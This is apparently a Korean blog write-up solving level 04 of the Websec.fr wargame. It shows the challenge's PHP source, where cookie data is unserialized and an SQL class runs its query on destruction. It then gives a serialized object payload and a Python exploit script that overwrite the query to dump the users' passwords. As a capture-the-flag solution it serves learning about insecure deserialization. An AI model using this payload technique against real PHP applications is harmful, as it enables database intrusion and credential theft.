Wargame/websec.fr

Websec.fr babysteps level 04

JeonYoungSin 2018. 3. 8. 11:13

아직은 초반이라 그런지 기본적인 개념 문제들이 나오고 있다.

 

PHP Object Injection 문제인데 다음과 같이 소스를 제공하고있다. 

 

source1)

<?php
include 'connect.php'
;

$sql = new SQL
();
$sql->connect
();
$sql->query 'SELECT username FROM users WHERE id='
;


if (isset (
$_COOKIE['leet_hax0r'
])) {
    
$sess_data unserialize (base64_decode ($_COOKIE['leet_hax0r'
]));
    try {
        if (
is_array($sess_data) && $sess_data['ip'] != $_SERVER['REMOTE_ADDR'
]) {
            die(
'CANT HACK US!!!'
);
        }
    } catch(
Exception $e
) {
        echo 
$e
;
    }
} else {
    
$cookie base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR'
]))) ;
    
setcookie ('leet_hax0r'$cookietime () + (86400 30
));
}

if (isset (
$_REQUEST['id']) && is_numeric ($_REQUEST['id'
])) {
    try {
        
$sql->query .= $_REQUEST['id'
];
    } catch(
Exception $e
) {
        echo 
' Invalid query'
;
    }
}
?>

 

source2)

<?php

class SQL {
    public 
$query '';
    public 
$conn;
    public function 
__construct() {
    }
    
    public function 
connect() {
        
$this->conn = new SQLite3 ("database.db"SQLITE3_OPEN_READONLY);
    }

    public function 
SQL_query($query) {
        
$this->query $query;
    }

    public function 
execute() {
        return 
$this->conn->query ($this->query);
    }

    public function 
__destruct() {
        if (!isset (
$this->conn)) {
            
$this->connect ();
        }
        
        
$ret $this->execute ();
        if (
false !== $ret) {    
            while (
false !== ($row $ret->fetchArray (SQLITE3_ASSOC))) {
                echo 
'<p class="well"><strong>Username:<strong> ' $row['username'] . '</p>';
            }
        }
    }
}
?>

 

 

코드가 매우 간단하고 기본적인 PHP Object Injection 이라 간단히 설명하고 넘어가면 deserialize할 때 쿠키값에 요런식으로 변조된 sql 클래스의 직렬화 데이터를 base64 인코딩해서 넣어주면 된다. 그러면 query가 덮이면서 내가원하는 sql 구문을 실행할 수 있다.

 

O:3:"SQL":2:{s:5:"query";s:40:"select password as username from users--";s:2:"ip";s:14:"210.183.42.143";}

 



exploit.py

import requests


def getFlag(payload):

    url = "http://websec.fr/level04/index.php"

    payload = 'O:3:"SQL":1:{s:5:"query";s:'+str(len(payload))+':"'+payload+'";}'

    headers = {"Cookie":"leet_hax0r="+payload.encode("base64").replace("\n","")+";"}

    result = requests.post(url,headers=headers).text

    print result


payload = "select group_concat(password) as username from users"

getFlag(payload)